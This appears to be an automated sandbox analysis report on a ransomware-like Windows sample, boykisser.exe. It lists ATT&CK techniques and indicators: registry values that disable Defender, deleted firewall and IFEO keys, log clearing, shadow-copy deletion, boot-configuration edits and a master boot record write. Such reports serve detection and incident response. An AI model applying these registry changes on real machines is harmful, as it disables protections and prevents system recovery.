79526720c69b7366108d418f252a41e2569eebacdbe158621c458b800f6438e7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies firewall policy service 3 TTPs 16 IoCs

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Static\System	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Static	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe

Modifies security service 2 TTPs 8 IoCs

Modify Registry

Windows Service

defense_evasion ransomware

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
4652	wevtutil.exe
3356	wevtutil.exe
2180	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2868	bcdedit.exe
1580	bcdedit.exe
2448	bcdedit.exe
4444	bcdedit.exe
4084	bcdedit.exe
1540	bcdedit.exe
2028	bcdedit.exe
3648	bcdedit.exe
4080	bcdedit.exe
4724	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
436	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 50 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintDialog.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
436	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 50 IoCs

remove IFEO.

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintDialog.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4156	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	boykisser.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\boykisser_wallpaper.jpg"	boykisser.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1220	sc.exe
2016	sc.exe
1752	sc.exe
1908	sc.exe
4244	sc.exe
4860	sc.exe
4064	sc.exe
1776	sc.exe
3212	sc.exe
4216	sc.exe
3792	sc.exe
1220	sc.exe
1908	sc.exe
4064	sc.exe
4940	sc.exe
4876	sc.exe
1832	sc.exe
1212	sc.exe
4808	sc.exe
884	sc.exe
2628	sc.exe
3028	sc.exe
1036	sc.exe
3924	sc.exe
1788	sc.exe
4944	sc.exe
2812	sc.exe
4428	sc.exe
4372	sc.exe
4220	sc.exe
3792	sc.exe
884	sc.exe
4264	sc.exe
1160	sc.exe
4300	sc.exe
1548	sc.exe
3724	sc.exe
4556	sc.exe
4728	sc.exe
1220	sc.exe
3312	sc.exe
1264	sc.exe
4048	sc.exe
884	sc.exe
4808	sc.exe
796	sc.exe
1916	sc.exe
2536	sc.exe
5116	sc.exe
2252	sc.exe
3732	sc.exe
2704	sc.exe
832	sc.exe
2680	sc.exe
1552	sc.exe
3648	sc.exe
4568	sc.exe
1560	sc.exe
1136	sc.exe
1372	sc.exe
2064	sc.exe
4268	sc.exe
3136	sc.exe
4372	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2068	vssadmin.exe

Modifies registry key 1 TTPs 10 IoCs

Modify Registry

pid	Process
1200	reg.exe
3528	reg.exe
2492	reg.exe
1376	reg.exe
3492	reg.exe
3152	reg.exe
1976	reg.exe
1444	reg.exe
4236	reg.exe
3720	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4908	powershell.exe
4908	powershell.exe
3592	boykisser.exe
3592	boykisser.exe
3592	boykisser.exe
3592	boykisser.exe
436	powershell.exe
436	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	3976	wmic.exe
Token: SeSecurityPrivilege	3976	wmic.exe
Token: SeTakeOwnershipPrivilege	3976	wmic.exe
Token: SeLoadDriverPrivilege	3976	wmic.exe
Token: SeSystemProfilePrivilege	3976	wmic.exe
Token: SeSystemtimePrivilege	3976	wmic.exe
Token: SeProfSingleProcessPrivilege	3976	wmic.exe
Token: SeIncBasePriorityPrivilege	3976	wmic.exe
Token: SeCreatePagefilePrivilege	3976	wmic.exe
Token: SeBackupPrivilege	3976	wmic.exe
Token: SeRestorePrivilege	3976	wmic.exe
Token: SeShutdownPrivilege	3976	wmic.exe
Token: SeDebugPrivilege	3976	wmic.exe
Token: SeSystemEnvironmentPrivilege	3976	wmic.exe
Token: SeRemoteShutdownPrivilege	3976	wmic.exe
Token: SeUndockPrivilege	3976	wmic.exe
Token: SeManageVolumePrivilege	3976	wmic.exe
Token: 33	3976	wmic.exe
Token: 34	3976	wmic.exe
Token: 35	3976	wmic.exe
Token: 36	3976	wmic.exe
Token: SeIncreaseQuotaPrivilege	3976	wmic.exe
Token: SeSecurityPrivilege	3976	wmic.exe
Token: SeTakeOwnershipPrivilege	3976	wmic.exe
Token: SeLoadDriverPrivilege	3976	wmic.exe
Token: SeSystemProfilePrivilege	3976	wmic.exe
Token: SeSystemtimePrivilege	3976	wmic.exe
Token: SeProfSingleProcessPrivilege	3976	wmic.exe
Token: SeIncBasePriorityPrivilege	3976	wmic.exe
Token: SeCreatePagefilePrivilege	3976	wmic.exe
Token: SeBackupPrivilege	3976	wmic.exe
Token: SeRestorePrivilege	3976	wmic.exe
Token: SeShutdownPrivilege	3976	wmic.exe
Token: SeDebugPrivilege	3976	wmic.exe
Token: SeSystemEnvironmentPrivilege	3976	wmic.exe
Token: SeRemoteShutdownPrivilege	3976	wmic.exe
Token: SeUndockPrivilege	3976	wmic.exe
Token: SeManageVolumePrivilege	3976	wmic.exe
Token: 33	3976	wmic.exe
Token: 34	3976	wmic.exe
Token: 35	3976	wmic.exe
Token: 36	3976	wmic.exe
Token: SeIncreaseQuotaPrivilege	2824	wmic.exe
Token: SeSecurityPrivilege	2824	wmic.exe
Token: SeTakeOwnershipPrivilege	2824	wmic.exe
Token: SeLoadDriverPrivilege	2824	wmic.exe
Token: SeSystemProfilePrivilege	2824	wmic.exe
Token: SeSystemtimePrivilege	2824	wmic.exe
Token: SeProfSingleProcessPrivilege	2824	wmic.exe
Token: SeIncBasePriorityPrivilege	2824	wmic.exe
Token: SeCreatePagefilePrivilege	2824	wmic.exe
Token: SeBackupPrivilege	2824	wmic.exe
Token: SeRestorePrivilege	2824	wmic.exe
Token: SeShutdownPrivilege	2824	wmic.exe
Token: SeDebugPrivilege	2824	wmic.exe
Token: SeSystemEnvironmentPrivilege	2824	wmic.exe
Token: SeRemoteShutdownPrivilege	2824	wmic.exe
Token: SeUndockPrivilege	2824	wmic.exe
Token: SeManageVolumePrivilege	2824	wmic.exe
Token: 33	2824	wmic.exe
Token: 34	2824	wmic.exe
Token: 35	2824	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3080 wrote to memory of 4908	3080	boykisser.exe	88
PID 4908 wrote to memory of 3592	4908	powershell.exe	90
PID 3592 wrote to memory of 3528	3592	boykisser.exe	92
PID 3592 wrote to memory of 2492	3592	boykisser.exe	94
PID 3592 wrote to memory of 436	3592	boykisser.exe	96
PID 3592 wrote to memory of 4124	3592	boykisser.exe	98
PID 3592 wrote to memory of 3428	3592	boykisser.exe	100
PID 3592 wrote to memory of 224	3592	boykisser.exe	102
PID 3592 wrote to memory of 3260	3592	boykisser.exe	105
PID 3592 wrote to memory of 2020	3592	boykisser.exe	107
PID 3592 wrote to memory of 3780	3592	boykisser.exe	109
PID 3592 wrote to memory of 408	3592	boykisser.exe	111
PID 3592 wrote to memory of 3520	3592	boykisser.exe	113
PID 3592 wrote to memory of 3748	3592	boykisser.exe	115
PID 3592 wrote to memory of 2704	3592	boykisser.exe	117
PID 3592 wrote to memory of 1840	3592	boykisser.exe	119
PID 3592 wrote to memory of 4224	3592	boykisser.exe	121
PID 3592 wrote to memory of 4916	3592	boykisser.exe	123
PID 3592 wrote to memory of 5000	3592	boykisser.exe	130
PID 5000 wrote to memory of 1376	5000	cmd.exe	132
PID 3592 wrote to memory of 2872	3592	boykisser.exe	133
PID 3592 wrote to memory of 2868	3592	boykisser.exe	135
PID 3592 wrote to memory of 1580	3592	boykisser.exe	137
PID 3592 wrote to memory of 2448	3592	boykisser.exe	139
PID 3592 wrote to memory of 4444	3592	boykisser.exe	141
PID 3592 wrote to memory of 4084	3592	boykisser.exe	143
PID 3592 wrote to memory of 1540	3592	boykisser.exe	145
PID 3592 wrote to memory of 2028	3592	boykisser.exe	147
